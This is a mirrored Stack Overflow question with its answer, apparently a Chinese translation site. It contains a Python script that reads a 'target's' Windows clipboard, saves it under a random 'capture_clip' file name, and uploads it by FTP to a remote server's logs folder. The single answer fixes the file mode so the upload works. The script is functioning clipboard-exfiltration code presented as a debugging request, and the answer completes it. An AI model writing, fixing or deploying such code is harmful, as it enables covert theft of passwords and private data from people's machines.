繁体   English   中英

通过ftp python发送文件内容

[英]Send file contents over ftp python

我有这个Python脚本

 import os 
 import random 
 import ftplib 
 from tkinter import Tk 

 # now, we will grab all Windows clipboard data, and put to var 
 clipboard = Tk().clipboard_get() 
 # print(clipboard) 
 # this feature will only work if a string is in the clipboard. not files.
 # so if "hello, world" is copied to the clipboard, then it would work. however, if the target has copied a file or something 
 # then it would come back an error, and the rest of the script would come back false (therefore shutdown) 

 random_num = random.randrange(100, 1000, 2) 
 random_num_2 = random.randrange(1, 9999, 5) 
 filename = "capture_clip" + str(random_num) + str(random_num_2) + ".txt" 
 file = open(filename, 'w') # clears file, or create if not exist 
 file.write(clipboard) # write all contents of var "foo" to file 
 file.close() # close file after printing 

 # let's send this file over ftp 
 session = ftplib.FTP('ftp.example.com','ftp_user','ftp_password') 
 session.cwd('//logs//') # move to correct directory 
 f = open(filename, 'r') 
 session.storbinary('STOR ' + filename, f) 
 f.close() 
 session.quit() 

该文件会将Python脚本创建的内容(在变量“文件名”下,例如:“ capture_clip5704061.txt”)发送到我的FTP服务器,尽管本地系统上文件的内容与FTP服务器上的文件不相同。 如您所见,我使用ftplib模块。 这是我的错误:

 Traceback (most recent call last): 
 File "script.py", line 33, in<module> 
 session.storbinary('STOR ' + filename, f) 
 File "C:\Users\willi\AppData\Local\Programs\Python\Python36\lib\ftplib.py", line 507, in storbinary
 conn.sendall(buf) 
 TypeError: a bytes-like object is required, not 'str' 

您的库希望该文件以二进制模式打开,它会出现。 请尝试以下操作:

f = open(filename, 'rb')

这样可以确保从文件中读取的数据是bytes对象,而不是str (用于文本)。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM